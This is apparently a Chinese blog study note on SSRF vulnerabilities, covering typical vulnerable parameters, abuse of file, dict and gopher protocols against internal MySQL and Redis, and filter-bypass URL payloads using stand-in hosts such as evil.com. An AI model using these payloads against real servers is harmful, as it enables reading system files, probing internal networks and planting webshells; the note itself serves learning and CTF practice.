901 字
5 分钟
SSRF

ssrf漏洞学习#

一.认识#

ssrf全称服务端请求伪造,当服务端处理用户请求的url地址或资源地址时,没有进行严格的过滤,以服务器的权限执行有攻击性的代码,从而达到访问服务器上任意文件或访问内网资产,对其他本不可达的内部资源进行攻击

二.简单攻击流程#

1.在确定存在ssrf漏洞的基础上判断是有回显还是无回显

2.测试各种协议,判断过滤机制,常见可利用协议:

http/https://ipaddress/

file:///etc/passwd

dict://ip/

3.利用协议,绕过过滤收集相关信息

4.可配合其他漏洞进一步渗透

三.SSRF 典型特征#

SSRF漏洞通常具有以下特征,这些特征也是识别潜在SSRF漏洞的重要线索:URL参数化:应用程序接受URL作为参数,并使用该URL获取资源。

1

/api/fetch?url=https://example.com/resource

资源加载功能:应用程序提供加载远程资源的功能,如图片、文件、网页内容等。

1

/preview?image=https://example.com/image.jpg

API集成点:应用程序与其他服务集成,并允许用户指定集成端点。

1

/integrate?endpoint=https://api.service.com/v1

回调URL:应用程序接受回调URL,用于异步通知或webhook。

1

/webhook/register?callback=https://my-service.com/notify

文档转换服务:应用程序提供HTML到PDF、URL到截图等转换功能。

1

/convert?webpage=https://example.com

三.常见协议利用#

1.http/https协议#

可以用本地IP地址127.0.0.1来访问服务器本身,从而暴漏某些敏感信息,ctf中flag常藏再服务器某个文件路径下

2.文件协议(file://)#

用来访问本地文件,同上可暴漏敏感信息,常被禁止使用

3.字典协议(dict://)#

用来与字典服务器进行交互,在ctf中可利用dict协议来进行端口探测,查看开放端口,对高危端口如3306,6379等端口进行探测可能会回显相关信息

4.gopher协议(最危险的协议)(https://zhuanlan.zhihu.com/p/112055947)#

允许发送任意tcp数据,可以进行端口探测,任意命令执行

mysql命令执行,执行sql语句,爆出数据库:

[http://target.com/fetch?url=gopher://192.168.1.10:3306/_MySQL协议数据]

redis命令执行,在指定文件路径下上传webshell

http://target.com/fetch?url=gopher://192.168.1.10:6379/固定格式/var/www/html/webshll 写payload时同样有相关格式要求,可利用自动化工具goherus实现自动化payload生成

5.其他协议#

四.常见绕过手段#

1.ip地址绕过#

禁止访问内部IP地址(127.0.0.1,192.168.0.0/16等内网IP)时:

1.进制转换

2.ipv6表示

[::1]或[::ffff:127.0.0.1]

3.dns解析

使用能够解析到本地的特殊域名,如locast,或使用自定义的dns记录,将域名解析到本地IP地址

4.url编码

5.非标准符分割

使用非指定标准分隔符,如。代替.

2.域名过滤绕过#

当使用白名单或黑名单(?)时:

1.子域名技巧

http://target.com/fetch?url=http://attacker-controlled.example.com/

利用可控的example.com下的子域名

http://target.com/fetch?url=http://example.com.attacker.com/

做白名单过滤检测字符串中存在(example.com)绕过,同时域名解析的是attacker.com

2.域名前缀,url中user@host,@后面的才是域名

http://target.com/fetch?url=http://allowed-domain.com@evil.com/

3.域名解析顺序,#在url中表示锚点,锚点后面的不会被发送到服务器,但某些库可能解析为用户信息分隔符导致绕过

http://target.com/fetch?url=http://evil.com#@allowed-domain.com/

4.idn同形异义词攻击

http://target.com/fetch?url=http://еxаmрlе.com/ # 使用西里尔字母,看起来是example实际不是

3.协议绕过#

只允许指定协议时

1.协议嵌套

http://target.com/fetch?url=http://evil.com/file.php?url=file:///etc/passwd

2.url重定向

evil.com设置重定向到file:///etc/passwd#

http://target.com/fetch?url=http://evil.com/redirect

3.相对协议url:使用相对协议//会继承当前页面的协议

http://target.com/fetch?url=//internal/

参考链接

SSRF
https://lab404.cn/posts/ssrf/
作者
见山
发布于
2025-11-20
许可协议
CC BY-NC-SA 4.0